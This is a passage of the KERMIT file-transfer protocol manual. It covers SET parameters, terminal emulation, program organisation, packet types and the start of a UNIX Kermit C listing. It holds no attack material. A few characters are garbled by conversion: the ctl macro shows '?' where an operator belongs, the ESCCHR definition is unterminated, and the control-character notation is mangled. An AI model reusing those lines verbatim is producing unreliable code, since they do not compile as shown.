MESSAGE Send a terminal message (on a network or timesharing system).
HELP Give brief information about how to use KERMIT.
SET Set various parameters relating to debugging, transmission, file mode,
and so forth.
SHOW Display settings of SET parameters, capabilities in force, etc.
STATISTICS
Give information about the performance of the most recent file transfer
KERMIT Commands Page 51
-- elapsed time, effective baud rate, various counts, etc.
HOST Pass the given command string to the specified (i.e. remote or local)
host for execution in its own command language.
LOGGING Open or close a remote transaction or debugging log.
9.6. The SET Command
A SET command should be provided to allow the user to tailor a connection to
the peculiarities of the communication path, the local or remote file system,
etc. Here are some parameters that should be SET-able:
BLOCK-CHECK
Specify the type of block check to be used: single character checksum,
two-character checksum, 3-character CRC.
DEBUGGING
Display or log the packet traffic, packet numbers, and/or program
states. Useful for debugging new versions of KERMIT, novel combina-
tions of KERMIT programs, etc.
DELAY How many seconds a remote (non-server) KERMIT should wait before send-
ing the Send-Init packet, to give the user time to escape back to the
local KERMIT and type a RECEIVE command.
DUPLEX For terminal emulation, specify FULL or HALF duplex echoing.
EIGHT-BIT-PREFIXING
Specify that "8th bit" prefixing must be done; normally it will not be
done.
END-OF-LINE
Specify any line terminator that must be used after a packet.
ESCAPE Specify the escape character for terminal emulation.
FILE attributes
Almost any of the attributes listed above in the Attributes section
(8.5). The most common need is to tell the KERMIT program whether an
incoming or outbound file is text or binary.
FLOW-CONTROL
Specify the flow control mechanism for the line, such as XON/XOFF,
DTR/CTS, etc. Allow flow control to be turned off as well as on. Flow
control is done only on full-duplex connections.
HANDSHAKE
Specify any line-access negotiation that must be used or simulated
during file transfer. For instance, a half duplex system will often
need to "turn the line around" after sending a packet, in order to give
you permission to reply. A common handshake is XON (?Q); the current
user of the line transmits an XON when done transmitting data.
LINE Specify the line or device designator for the connection. This is for
KERMIT Commands Page 52
use in a KERMIT program that can run in either remote or local mode;
the default line is the controlling terminal (for remote operation).
If an external device is used, local operation is presumed.
LOG Specify a local file in which to keep a log of the transaction. There
may be logs for debugging purposes (packet traffic, state transitions,
etc) and for auditing purposes (to record the name and disposition of
each file transferred).
MARKER Change the start-of-packet marker from the default of SOH (CTRL-A) to
some other control character, in case one or both systems has problems
using CTRL-A for this purpose.
PACKET-LENGTH
The maximum length for a packet. This should normally be no less than
30 or 40, and can never be greater than 96. Short packets can be an
advantage on noisy lines; they reduce the probabily of a particular
packet being corrupted, as well as the retransmission overhead when
corruption does occur.
PADDING The number of padding characters that should be sent before each
packet, and what the padding character should be. Rarely necessary.
PARITY Specify the parity (ODD, EVEN, MARK, SPACE, NONE) of the physical con-
nection. If other than none, the "8th bit" cannot be used to transmit
data and must not be used by either side in block check computation.
PAUSE How many seconds to pause after receiving a packet before sending the
next packet. Normally 0, but when a system communication processor or
front end has trouble keeping up with the traffic, a short pause be-
tween packets may allow it to recover its wits; hopefully, something
under a second will suffice.
PREFIX Change the default prefix for control characters, 8-bit characters, or
repeated quantities.
PROMPT Change the program's prompt. This is useful when running KERMIT be-
tween two systems whose prompt is the same, to eliminate confusion
about which KERMIT you are talking to.
REPEAT-COUNT-PROCESSING
Change the default for repeat count processing. Normally, it will be
done if both KERMIT programs agree to do it.
RETRY The maximum number of times to attempt to send or receive a packet be-
fore giving up. The normal number is about 5, but the user should be
able to adjust it according to the condition of the line, the load on
the systems, etc.
TIMEOUT Specify the length of the timer to set when waiting for a packet to ar-
rive.
KERMIT Commands Page 53
9.7. Macros, the DEFINE Command
In addition to the individual set commands, a "macro" facility is recommended
to allow users to combine the characteristics of specific systems into a single
SET option. For example:
DEFINE IBM = PARITY ODD, DUPLEX HALF, HANDSHAKE XON
DEFINE UNIX = PARITY NONE, DUPLEX FULL
DEFINE TELENET = PARITY MARK
This could be done by providing a fancy runtime parser for commands like this
(which could be automatically TAKEn from the user's KERMIT initialization file
upon program startup), or simply hardwired into the SET command table.
With these definitions in place, the user would simply type "SET IBM", "SET
UNIX", and so forth, to set up the program to communication to the remote sys-
tem.
Terminal Emulation Page 54
10. Terminal Emulation
The local system must be able to act as a terminal so that the user can connect
to the remote system, log in, and start up the remote KERMIT.
Terminal emulation should be provided by any KERMIT program that runs locally,
so that the user need not exit and restart the local KERMIT program in order to
switch between terminal and protocol operation. On smaller systems, this is
particularly important for various reasons -- restarting the program and typing
in all the necessary SET commands is too inconvenient and time-consuming; in
some micros, switching in and out of terminal emulation may cause carrier to
drop, etc.
Only bare-bones terminal emulation need be supplied by KERMIT; there is no need
to emulate any particular kind of "smart" terminal. Simple "dumb" terminal
emulation is sufficient to do the job. Emulation of fancier terminals is nice
to have, however, to take advantage of the remote system's editing and display
capabilities. In some cases, microcomputer firmware will take care of this.
To build emulation for a particular type of terminal into the program, you must
interpret and act upon escape sequences as they arrive at the port.
No error checking is done during terminal emulation. It is "outside the
protocol"; characters go back and forth "bare". In this sense, terminal emula-
tion through KERMIT is no better than actually using a real terminal.
Some KERMIT implementations may allow logging of the terminal emulation session
to a local file. Such a facility allows "capture" of remote typescripts and
files, again with no error checking or correction. When this facility is
provided, it is also desirable to have a convenient way of "toggling" the log-
ging on and off.
If the local system does not provide system- or firmware-level flow control,
like XON/XOFF, the terminal emulation program should attempt to simulate it,
especially if logging is being done.
The terminal emulation facility should be able to handle either remote or local
echoing (full or half duplex), any required handshake, and it should be able to
transmit any parity required by the remote side or the communication medium.
A terminal emulator works by continuously sampling both console input from the
local terminal and input from the communication line. Simple input and output
functions will not suffice, however, since if you ask for input from a certain
device and there is none available, you will generally block until input does
become available, during which time you will be missing input from the other
device. Thus you must have a way to bounce back and forth regardless of
whether input is available. Several mechanisms are commonly used:
- Continuously jump back and forth between the port status register and
the console status register, checking the status bits for input
available. This is only practical on single-user, single-process
systems, where the CPU has nothing else to do.
- Issue an ordinary blocking input request for the port, but enable in-
terrupts on console input, or vice versa.
- Handle port input in one process and console input in another, paral-
Terminal Emulation Page 55
lel process. The UNIX KERMIT program listed in this manual uses this
method.
Any input at the port should be displayed immediately on the screen. Any input
from the console should be output immediately to the port. In addition, if the
connection is half duplex, console input should also be sent immediately to the
screen.
The terminal emulation code must examine each console character to determine
whether it is the "escape character". If so, it should take the next character
as a special command, which it executes. These commands are described above,
in section 9.3.
The terminal emulator should be able to send every ASCII character, NUL through
DEL, and it should also be able to transmit a BREAK signal (BREAK is not a
character, but an "escape" from ASCII transmission in which a 0 is put on the
line for about a quarter of a second, regardless of the baud rate, with no
framing bits). BREAK is important when communicating with various systems,
such as IBM mainframes.
Finally, it is sometimes necessary to perform certain transformations on the CR
character that is normally typed to end a line of input. Some systems use LF,
EOT, or other characters for this function. To complicate matters, intervening
communications equipment (particularly the public packet-switched networks) may
have their own independent requirements. Thus if using KERMIT to communicate
over, say, TRANSPAC with a system that uses LF for end-of-line, it may be
necessary to transform CR into LFCR (linefeed first -- the CR tells the network
to send the packet, which will contain the LF, and the host uses the LF for
termination). The user should be provided with a mechanism for specifying this
transformation, a command like "SET CR sequence".
Writing a KERMIT Program Page 56
11. Writing a KERMIT Program
Before writing a new implementation of KERMIT or modifying an old one, first be
sure to contact the KERMIT Distribution center at Columbia University to make
sure that you're not duplicating someone else's effort, and that you have all
the latest material to work from. If you do write or significantly modify (or
document) a KERMIT program, please send it back to Columbia so that it can be
included in the standard KERMIT distribution and others can benifit from it.
It is only through this kind of sharing that KERMIT has grown from its modest
beginnings to its present scale.
The following sections provide some hints on KERMIT programming.
11.1. Program Organization
A basic KERMIT implementation can usually be written as a relatively small
program, self-contained in a single source file. However, it is often the case
that a program written to run on one system will be adapted to run on other
systems as well. In that case, it is best to avoid having totally divergent
sources, because when new features are added to (or bugs fixed in) the system-
independent parts of the program -- i.e. to the protocol itself -- only one im-
plementation will reap the benefits initially, and the other will require pain-
ful, error-prone "retrofitting" to bring it up to the same level.
Thus, if there is any chance that a KERMIT program will run on more than one
machine, or under more than one operating system, or support more than one kind
of port or modem, etc, it is desirable to isolate the system-dependent parts in
a way that makes the common parts usable by the various implementations. There
are several approaches:
1. Runtime support. If possible, the program can inspect the hardware
or inquire of the system about relevant parameters, and configure
itself dynamically at startup time. This is hardly ever possible.
2. Conditional compilation (or assembly). If the number of systems or
options to be supported is small, the system dependent code can be
enclosed in conditional compilation brackets (like IF IBMPC ....
ENDIF). An example is provided in UNIX KERMIT listing included with
this manual. However, as the number of system dependencies to be
supported grows, this method becomes unwieldy and error-prone
-- installing support for system X tends to break the pre-existing
support for system Y.
3. Modular composition. When there is a potentially large number of
options a program should support, it should be broken up into
separate modules (source files), with clearly specified, simple
calling conventions. This allows people with new options to provide
their own support for them in an easy way, without endangering any
existing support. Suggested modules for a KERMIT program are:
- System-Indendent protocol handling: state switching, packet
formation, encoding (prefixing) and decoding, etc.
- User Interface: the command parser. Putting this in a separate
module allows plug-in of command parsers to suit the user's
Writing a KERMIT Program Page 57
taste, to mimic the style of the host system command parser or
some popular application, etc.
- Screen i/o: This module would contain the screen control codes,
cursor positioning routines, etc.
- Port i/o: Allows support of various port hardware. This module
can define the port status register location, the status bits,
and so forth, and can implement the functions to read and write
characters at the port.
- Modem control: This module would support any kind of
"intelligent" modem, which is not simply a transparent exten-
sion of the communications port. Such modems may accept spe-
cial commands to perform functions like dialing out, redialing
a recent number, hanging up, etc., and may need special in-
itialization (for instance, setting modem signals like DTR).
- Console input: This module would supply the function to get
characters from the console; it would know about the status
register locations and bits, interrupt structure, key-to-
character mappings, etc., and could also implement key
redefinitions, keystroke macros, programmable function keys,
expanded control and meta functions, etc.
- Terminal Emulation: This module would interpret escape se-
quences in the incoming character stream (obtained from the
port i/o module) for the particular type of terminal being emu-
lated and interpret them by making appropriate calls the the
screen i/o module, and it would send user typein (obtained from
the console input module) out the serial port (again using the
port i/o module). Ideally, this module could be replacable by
other modules to emulate different kinds of terminals (e.g.
ANSI, VT52, ADM3A, etc).
- File i/o: This module contains all the knowledge about the host
system's file structure; how to open and close files, perform
"get next file" operations, read and write files, determine and
set their attributes, detect the end of a file, and so forth,
and provides the functions, including buffering, to get a
character from a file and put a character to a file. This
module may also provide file management services for local
files -- directory listings, deleting, renaming, copying, and
so forth.
- Definitions and Data: Separate modules might also be kept for
compile-time parameter definitions and for global runtime data.
Writing a KERMIT Program Page 58
11.2. Programming Language
The language to be used in writing a KERMIT program is more than a matter of
taste. The primary consideration is that the language provide the necessary
functionality and speed. For instance, a microcomputer implementation of BASIC
may not allow the kind of low-level access to device registers needed to do
terminal emulation, or to detect console input during file transfer, or even if
it can do these things, it might not be able to run fast enough do drive the
communication line at the desired baud rate.
The second consideration in choosing a language is portability. This is used
in two senses: (1) whether the language is in the public domain (or, equiv-
alently, provided "free" as part of the basic system), and (2) whether it is
well standardized and in wide use on a variety of systems. A language that is
portable in both senses is to be preferred.
Whatever programming language is selected, it is important that all lines in
the program source be kept to 80 characters or less (after expansion of tabs).
This is because KERMIT material must often be shipped over RJE and other card-
format communication links.
In addition, it is important that the names of all files used in creating and
supporting a particular KERMIT implementation be (possibly a subset) of the
form NAME.TYPE, where NAME is limited to six characters, and TYPE is limited to
three, and where the NAME of each file begin with a common 2 or 3 character
prefix. This is so that all related files will be grouped together in an al-
phabetic directory listing, and so when all of the hundreds of KERMIT related
files are placed together on a tape, all names will be both legal and unique,
especially on systems (like PDP-11 operating systems) with restrictive file
naming conventions.
11.3. Documentation
A new KERMIT program should be thoroughly documented; one of the hallmarks of
KERMIT is its documentation. The documentation should be at both the user
level (how to use the program, what the commands are, etc, similar to the
documentation presently found in the Kermit Users Guide), and the implemen-
tation level (describe system dependencies, give pointers for adapting to new
systems, and so forth). In addition, programs themselves should contain
copious commentary. Like program source, documentation should be kept within
80-character lines.
If possible, a section for the implementation should be written for the KERMIT
User Guide using the UNILOGIC Scribe formatting language (subsets of which are
also to be found in some microcomputer text processing software such as Perfect
Writer or Final Word), using the same general conventions as the existic
Scribe-format implementation sections.
KERMIT programs should also contain a revision history, in which each change is
briefly explained, assigned an "edit number", and the programmer and site are
identified. The lines or sections comprising the edit should be marked with
the corresponding edit number, and the KERMIT program, upon startup, should an-
nounce its version and edit numbers, so that when users complain of problems we
will know what version of the program is in question.
Writing a KERMIT Program Page 59
The version number changes when the functionality has been changed sufficiently
to require major revisions of user documentation. The edit number should in-
crease (monotonically, irrespective of version number) whenever a change is
made to the program. The edit numbers are very important for program manage-
ment; after shipping out a version of, say, CP/M KERMIT-80, we often receive
many copies of it, each containing its own set of changes, which we must recon-
cile in some manner. Edit numbers help a great deal here.
11.4. Bootstrapping
Finally, a bootstrap procedure should be provided. KERMIT is generally dis-
tributed on magnetic tape to large central sites; the users at those sites need
ways of "downloading" the various implementations to their micros and other
local systems. A simple bootstrap procedure would consist of precise instruc-
tions on how to accomplish an "unguarded" capture of the program. Perhaps a
simple, short program can be written for each each end that will do the job;
listings and instructions can be provided for the user to type in and run these
programs.
Packet Format and Types Page 60
I. Packet Format and Types
KERMIT Packet Layout:
+------+-----+-----+------+------------+-------+
| MARK | LEN | SEQ | TYPE | DATA | CHECK |
+------+-----+-----+------+------------+-------+
Send-Init Data Field Layout:
1 2 3 4 5 6 7 8 9 10...
+------+------+------+------+------+------+------+------+------+-------
| MAXL | TIME | NPAD | PADC | EOL | QCTL | QBIN | CHKT | REPT | CAPAS
+------+------+------+------+------+------+------+------+------+-------
KERMIT packet types and subtypes; required types are marked with an asterisk
(*):
Y* Acknowledge (ACK)
N* Negative acknowledge (NAK)
S* Send initiate (exchange parameters)
I Initialize (exchange parameters)
F* File header
A File attributes
D* Data packet
Z* End of file (EOF)
B* Break transmission (EOT)
E* Error
R Receive Initiate (ask the server to send the specified files)
C Host Command
K KERMIT Command
T Reserved for internal use
G Generic Kermit Command; Subcommands:
I Login (or logout)
C CWD, Change Working Directory
L Bye
F Finish
D Directory
U Disk Usage Query
E Erase, Delete
T Type
R Rename
K Copy
W Who's logged in?
M Short Message
H Help
Q Server Status Query
P Program Invocation
J Journal Control
V Variable Set/Query
List of Features Page 61
II. List of Features
There's no true linear scale along which to rate Kermit implementations. A
basic, minimal implementation provides file transfer in both directions, and,
for microcomputers (PC's, workstations, other single user systems), terminal
emulation. Even within this framework, there can be variations. For instance,
can the program send a file group in a single command, or must a command be
issued for each file? Can it time out? Here is a list of features that may be
present; for any KERMIT implementation, the documentation should show whether
these features exist, and how to invoke them.
- File groups. Can it send a group of files with a single command,
using "wildcard", pattern, or list notation? Can it successfully
send or receive a group of files of mixed types? Can it recover from
an error on a particular file and go on to the next one? Can it keep
a log of the files involved showing the disposition of each?
- Filenames. Can it take action to avoid overwriting a local file when
a new file of the same name arrives? Can it convert filenames to and
from legal or "normal form"?
- File types. Can binary as well as text files be transmitted?
- 8th-Bit prefixing. Can it send and receive 8-bit data through a
7-bit channel using the prefixing mechanism?
- Repeat-Count processing. Can it send and receive data with repeated
characters replaced by a prefix sequence?
- Terminal Emulation. Does it have a terminal emulation facility?
Does it provide various communication options, such as duplex,
parity, and handshake selection? Can it transmit all ASCII charac-
ters? Can it transmit BREAK? Can it log the remote session locally,
to provide unguarded file capture?
- Communications Options. Can duplex, parity, handshake, and line ter-
minator be specified for file transfer?
- Block Check Options. In addition to the basic single-character
checksum, can the two-character checksum and the three-character CRC
be selected?
- Basic Server. Can it run in server mode, accepting commands to send
or receive files, and to shut itself down?
- Advanced Server. Can it accept server commands to delete files,
provide directory listings, send messages, and forth?
- Issue Commands to Server. Can it send commands to a server, and
handle all possible responses?
- Host Commands. Can it parse and send remote "host commands"? If it
is a server, can it pass these commands to the host system command
processor and return the results to the local user Kermit?
- Interrupt File Transfers. Can it interrupt sending or receiving a
List of Features Page 62
file? Can it respond to interrupt requests from the other side?
- Local File Management Services. Are there commands to get local
directory directory listings, delete local files, and so forth?
- File Attributes. Can it send file attribute information about local
files, and can deal with incoming file attribute information? Can
alternate dispositions be specified. Can files be archived?
- Debugging Capability. Can packet traffic be logged, examined,
single-stepped?
Unresolved Issues Page 63
III. Unresolved Issues
KERMIT doesn't do everything. Here is a short list of things it doesn't do, or
could do better.
- KERMIT cannot be used through IBM 3270 protocol emulators. These are
devices that allow asynchronous ASCII terminals or PCs to communicate
with IBM mainframes as though they were synchronous full-screen dis-
plays. The problems include: (a) the protocol converter translates
from EBCDIC to ASCII -- that is, it assumes it is receiving EBCDIC
when KERMIT is supposed to be sending ASCII -- according to its own
translate table, which may vary from site to site, and is not a
1-to-1 mapping in any case; (b) non-printing control characters (like
SOH) cannot be sent at all; (c) the protocol converter looks for 3270
formatting commands and translates them to escape sequences for the
ASCII terminal, possibly modifying packet data; (d) the IBM system
automatically pauses at the end of each screenful; (e) the protocol
converter thinks it knows what is "on the screen" and may attempt to
optimize. In general, one never knows exactly how a particular
protocol converter will work, or how it may differ from another one.
Still, it may be possible to work around these problems if the Ker-
mits on either end are put into a special "3270 mode", "clear the
screen" between each packet, and agree on some special convention for
packet delimitation and data translation.
- Control character prefixing. This can get pretty expensive for bi-
nary files or other files that contain lots of control characters.
Since most hosts won't choke on every single control character, it
might be a good idea for each host to inform the other of what con-
trol characters it can receive "bare". On the other hand, this could
backfire when the two hosts are connected by a network or device that
chokes on control characters that neither of the hosts choke on. For
hardwired connections with no unknown factors, however, many control
characters could be sent "bare".
- When long sequences of characters in the control range are being
sent, individually prefixing each character is costly. Shift-in/
shift-out codes might be used more effectively here. Same for long
strings of characters with the parity bit on, when 8th-bit prefixing
is being done. The cost would be yet another set of prefix charac-
ters, and the associated complexity of packet formation and decoding.
- In some situations, certain printable characters can't get through a
communication link. For instance, a network terminal server might
reserve "@" as its attention character. Should the protocol allow
some way to encode such characters for translation? A set of user-
definable escape sequences could be useful here.
- Ironically, some systems do not fare well with KERMIT's small packet
sizes. These are typically big mainframes that expect to communicate
with block mode terminals, receiving thousands of characters at a
time. Such systems find that KERMIT is simply too expensive to run.
Meanwhile, other systems that can run KERMIT with no difficulty find
the performance disappointing (the efficiency generally works out
somewhere between 50 and 80 percent, i.e. data characters divided by
the speed of the the transmission line, in characters per second).
Unresolved Issues Page 64
These two problems could be solved in either of two ways: allow
longer packets, or allow multiple data packets to be sent end to end.
* Without changing the format or encoding of the packet control
fields, it might be possible to have longer packets by reserving
packet lengths of 0, 1, 2, 3 to be codes for bigger numbers like
200, 500, 1000, 2000. However, the longer the packet, the
greater the probability of corruption, and the longer to
retransmit once corrupted. In addition, the adequacy of the
single-character block check would be much reduced for long
packets; long packets should therefore be sent with type 2 or 3
block checks.
* It would be possible to extend the protocol to allow transmis-
sion of data packets while ACKs were still outstanding, and any
ACK would be taken as an ACK for the specified packet and all
previous ones. A limit on the number of outstanding ACKs could
be agreed upon; the maximum size of this "floating window" would
have to be less than 64, which is where KERMIT packet numbers
wrap around, and the window could not extend over a wraparound
or else KERMIT would have no way of knowing whether n times 64
packets had been skipped. A floating window of 8 and a packet
size of 95 would give about the same effect as 700-character
packets. A NAK would require the sender to back up all the way
to the NAK'd packet. A future edition of the Protocol Manual
might include a specification for floating windows.
A KERMIT Program Page 65
IV. A KERMIT Program
What follows is a listing of a real production version of KERMIT, written in
4
the C language . It is designed to run under various versions of the UNIX
operating system. The basic KERMIT functionality is present, but very little
in the way of optional features. Only the most rudimentary (UNIX-style) com-
mand parser is provided. The program illustrates many of the considerations
described in this manual, with respect to the protocol, the program design, and
so forth.
It must be emphasized that this is a bare minimum implementation of Kermit.
Anyone writing a new Kermit from scratch is encouraged to look at the source
for one of the more advanced implementations as a model (check the Kermit Users
Guide for a list of KERMIT implementations and their features). Although you
may not understand the language it's written in, there should be profuse com-
ments that can be useful.
The following program uses decimal notation for numbers, and tochar() rather
than char() for integer-to-character conversion.
/*
* K e r m i t File Transfer Utility
*
* UNIX Kermit, Columbia University, 1981, 1982, 1983
* Bill Catchings, Bob Cattani, Chris Maio, Frank da Cruz, Alan Crosswell
*
* Also: Jim Guyton, Rand Corporation
* Walter Underwood, Ford Aerospace
*
* usage: kermit c [lbe line baud escapechar] to connect
* kermit s [d..iflb line baud] file ... to send files
* kermit r [d..iflb line baud] to receive files
*
* where c=connect, s=send, r=receive,
* d=debug, i=image mode, f=no filename conversion, l=tty line,
* b=baud rate, e=escape char.
*
* For remote Kermit, format is either:
* kermit r to receive files
* or kermit s file ... to send files
*
*/
_______________
4
Kernighan & Ritchie, The C Programming Language: Prentice-Hall (1978)
A KERMIT Program Page 66
/*
* Modification History:
*
* Oct. 17 Included fixes from Alan Crosswell (CUCCA) for IBM_UTS:
* - Changed MYEOL character from \n to \r.
* - Change char to int in bufill so getc would return -1 on
* EOF instead of 255 (-1 truncated to 8 bits)
* - Added read() in rpack to eat the EOL character
* - Added fflush() call in printmsg to force the output
* NOTE: The last three changes are not conditionally compiled
* since they should work equally well on any system.
*
* Changed Berkeley 4.x conditional compilation flag from
* UNIX4X to UCB4X.
* Added support for error packets and cleaned up the printing
* routines.
*/
#include <stdio.h> /* Standard UNIX definitions */
/* Conditional compilation for different machines/operating systems */
/* One and only one of the following lines should be 1 */
#define UCB4X 1 /* Berkeley 4.x UNIX */
#define TOPS_20 0 /* TOPS-20 */
#define IBM_UTS 0 /* Amdahl UTS on IBM systems */
#define VAX_VMS 0 /* VAX/VMS (not yet implemented) */
/* Conditional compilation for the different Unix variants */
/* 0 means don't compile it, nonzero means do */
#if UCB4X
#define V6_LIBS 0 /* Dont't use retrofit libraries */
#define NO_FIONREAD 0 /* We have ioctl(FIONREAD,...) for flushinput() */
#define NO_TANDEM 0 /* We have TANDEM line discipline (xon/xoff) */
#endif
#if IBM_UTS
#define V6_LIBS 0 /* Don't use retrofit libraries */
#define NO_FIONREAD 1 /* No ioctl(FIONREAD,...) for flushinput() */
#define NO_TANDEM 1 /* No TANDEM line discipline (xon/xoff) */
#endif
#if V6_LIBS
#include <retrofit/sgtty.h>
#include <retrofit/signal.h>
#include <retrofit/setjmp.h>
#else
#include <sgtty.h>
#include <signal.h>
#include <setjmp.h>
#endif
A KERMIT Program Page 67
#if NO_TANDEM
#define TANDEM 0 /* define it to be nothing if it's unsupported */
#endif
/* Symbol Definitions */
#define MAXPACKSIZ 94 /* Maximum packet size */
#define SOH 1 /* Start of header */
#define CR 13 /* ASCII Carriage Return */
#define SP 32 /* ASCII space */
#define DEL 127 /* Delete (rubout) */
#define ESCCHR '` /* Default escape character for CONNECT */
#define MAXTRY 10 /* Times to retry a packet */
#define MYQUOTE '#' /* Quote character I will use */
#define MYPAD 0 /* Number of padding characters I will need */
#define MYPCHAR 0 /* Padding character I need (NULL) */
#if IBM_UTS
#define MYEOL '\r' /* End-Of-Line character for UTS systems */
#else
#define MYEOL '\n' /* End-Of-Line character I need */
#endif
#define MYTIME 10 /* Seconds after which I should be timed out */
#define MAXTIM 60 /* Maximum timeout interval */
#define MINTIM 2 /* Minumum timeout interval */
#define TRUE -1 /* Boolean constants */
#define FALSE 0
/* Macro Definitions */
/*
* tochar: converts a control character to a printable one by adding a space.
*
* unchar: undoes tochar.
*
* ctl: converts between control characters and printable characters by
* toggling the control bit (ie. ?A becomes A and A becomes ?A).
*/
#define tochar(ch) ((ch) + ' ')
#define unchar(ch) ((ch) - ' ')
#define ctl(ch) ((ch) ? 64 )
/* Global Variables */
A KERMIT Program Page 68
int size, /* Size of present data */
rpsiz, /* Maximum receive packet size */
spsiz, /* Maximum send packet size */
pad, /* How much padding to send */
timint, /* Timeout for foreign host on sends */
n, /* Packet number */
numtry, /* Times this packet retried */
oldtry, /* Times previous packet retried */
ttyfd, /* File descriptor of tty for I/O, 0 if remote */
remote, /* -1 means we're a remote kermit */
image, /* -1 means 8-bit mode */
debug, /* indicates level of debugging output (0=none) */
filnamcnv, /* -1 means do file name case conversions */
filecount; /* Number of files left to send */
char state, /* Present state of the automaton */
padchar, /* Padding character to send */
eol, /* End-Of-Line character to send */
escchr, /* Connect command escape character */
quote, /* Quote character in incoming data */
**filelist, /* List of files to be sent */
*filnam, /* Current file name */
recpkt[MAXPACKSIZ], /* Receive packet buffer */
packet[MAXPACKSIZ]; /* Packet buffer */
FILE *fp, /* File pointer for current disk file */
*log; /* File pointer for Logfile */
jmp_buf env; /* Environment ptr for timeout longjump */
/*
* m a i n
*
* Main routine - parse command and options, set up the
* tty lines, and dispatch to the appropriate routine.
*/
main(argc,argv)
int argc; /* Character pointers to and count of */
char **argv; /* command line arguments */
{
char *ttyname, /* tty name for LINE argument */
*cp; /* char pointer */
int speed, /* speed of assigned tty, */
cflg, rflg, sflg; /* flags for CONNECT, RECEIVE, SEND */
struct sgttyb
rawmode, /* Controlling tty raw mode */
cookedmode, /* Controlling tty cooked mode */
ttymode; /* mode of tty line in LINE option */
if (argc < 2) usage(); /* Make sure there's a command line */
cp = *++argv; argv++; argc -= 2; /* Set up pointers to args */
A KERMIT Program Page 69
/* Initialize these values and hope the first packet will get across OK */
eol = CR; /* EOL for outgoing packets */
quote = '#'; /* Standard control-quote char "#" */
pad = 0; /* No padding */
padchar = NULL; /* Use null if any padding wanted */
speed = cflg = sflg = rflg = 0; /* Turn off all parse flags */
ttyname = 0; /* Default is remote mode */
#if UCB4X /* Default to 7-bit masking, CRLF */
image = FALSE; /* translation and filename case */
filnamcnv = TRUE; /* conversion for UNIX systems */
#else
image = TRUE; /* Default to no processing for */
filnamcnv = FALSE; /* non-UNIX systems */
#endif
escchr = ESCCHR; /* Default escape character */
while ((*cp) != NULL) /* Parse characters in first arg. */
switch (*cp++)
{
case 'c': cflg++; break; /* C = Connect command */
case 's': sflg++; break; /* S = Send command */
case 'r': rflg++; break; /* R = Receive command */
case 'd': /* D = Increment debug mode count */
debug++; break;
case 'f':
filnamcnv = FALSE; /* F = don't do case conversion */
break; /* on filenames */
case 'i': /* I = Image (8-bit) mode */
image = TRUE; break; /* (this is default for non-UNIX) */
case 'l': /* L = specify tty line to use */
if (argc--) ttyname = *argv++;
else usage();
if (debug) printf("Line to remote host is %s\n",ttyname);
break;
case 'e': /* E = specify escape char */
if (argc--) escchr = **argv++;
else usage();
if (debug) printf("Escape char is \"%c\"\n",escchr);
break;
A KERMIT Program Page 70
case 'b': /* B = specify baud rate */
#if UCB4X
if (argc--) speed = atoi(*argv++);
else usage();
if (debug) printf("Line speed to remote host is %d\n",speed);
break;
#else
printmsg("Speed setting implemented for Unix only.");
exit(1);
#endif
}
/* Done parsing */
if ((cflg+sflg+rflg) != 1) /* Only one command allowed */
usage();
if (ttyname) /* If LINE was specified, we */
{ /* operate in local mode */
ttyfd = open(ttyname,2); /* Open the tty line */
if (ttyfd < 0)
{
printmsg("Cannot open %s",ttyname);
exit(1);
}
remote = FALSE; /* Indicate we're in local mode */
}
else /* No LINE specified so we operate */
{ /* in remote mode (ie. controlling */
ttyfd = 0; /* tty is the communications line) */
remote = TRUE;
}
/* Put the proper tty into the correct mode */
if (remote) /* If remote, use controlling tty */
{
gtty(0,&cookedmode); /* Save current mode so we can */
gtty(0,&rawmode); /* restore it later */
rawmode.sg_flags |= (RAW|TANDEM);
rawmode.sg_flags &= ~(ECHO|CRMOD);
stty(0,&rawmode); /* Put tty in raw mode */
}
else /* Local, use assigned line */
{
gtty(ttyfd,&ttymode);
ttymode.sg_flags |= (RAW|TANDEM);
ttymode.sg_flags &= ~(ECHO|CRMOD);
A KERMIT Program Page 71
#if UCB4X /* Speed changing for UNIX only */
if (speed) /* User specified a speed? */
{
switch(speed) /* Get internal system code */
{
case 110: speed = B110; break;
case 150: speed = B150; break;
case 300: speed = B300; break;
case 1200: speed = B1200; break;
case 2400: speed = B2400; break;
case 4800: speed = B4800; break;
case 9600: speed = B9600; break;
default:
printmsg("Bad line speed.");
exit(1);
}
ttymode.sg_ispeed = speed;
ttymode.sg_ospeed = speed;
}
#endif /* UCB4X */
stty(ttyfd,&ttymode); /* Put asg'd tty in raw mode */
}
/* All set up, now execute the command that was given. */
if (debug)
{
printf("Debugging level = %d\n\n",debug);
if (cflg) printf("Connect command\n\n");
if (sflg) printf("Send command\n\n");
if (rflg) printf("Receive command\n\n");
}
if (cflg) connect(); /* Connect command */
if (sflg) /* Send command */
{
if (argc--) filnam = *argv++; /* Get file to send */
else
{ if (remote)
stty(0,&cookedmode); /* Restore controlling tty's modes */
usage(); /* and give error */
}
fp = NULL; /* Indicate no file open yet */
filelist = argv; /* Set up the rest of the file list */
filecount = argc; /* Number of files left to send */
if (sendsw() == FALSE) /* Send the file(s) */
printmsg("Send failed."); /* Report failure */
else /* or */
printmsg("done."); /* success */
}
A KERMIT Program Page 72
if (rflg) /* Receive command */
{
if (recsw() == FALSE) /* Receive the file(s) */
printmsg("Receive failed.");
else /* Report failure */
printmsg("done."); /* or success */
}
if (remote) stty(0,&cookedmode); /* Restore controlling tty's modes */
}
/*
* s e n d s w
*
* Sendsw is the state table switcher for sending files. It loops until
* either it finishes, or an error is encountered. The routines called
* by sendsw are responsible for changing the state.
*
*/
sendsw()
{
char sinit(), sfile(), sdata(), seof(), sbreak();
state = 'S'; /* Send initiate is the start state */
n = 0; /* Initialize message number */
numtry = 0; /* Say no tries yet */
while(TRUE) /* Do this as long as necessary */
{
if (debug) printf("sendsw state: %c\n",state);
switch(state)
{
case 'S': state = sinit(); break; /* Send-Init */
case 'F': state = sfile(); break; /* Send-File */
case 'D': state = sdata(); break; /* Send-Data */
case 'Z': state = seof(); break; /* Send-End-of-File */
case 'B': state = sbreak(); break; /* Send-Break */
case 'C': return (TRUE); /* Complete */
case 'A': return (FALSE); /* "Abort" */
default: return (FALSE); /* Unknown, fail */
}
}
}
/*
* s i n i t
*
* Send Initiate: send this host's parameters and get other side's back.
*/
char sinit()
{
int num, len; /* Packet number, length */
A KERMIT Program Page 73
if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
spar(packet); /* Fill up init info packet */
flushinput(); /* Flush pending input */
spack('S',n,6,packet); /* Send an S packet */
switch(rpack(&len,&num,recpkt)) /* What was the reply? */
{
case 'N': return(state); /* NAK, try it again */
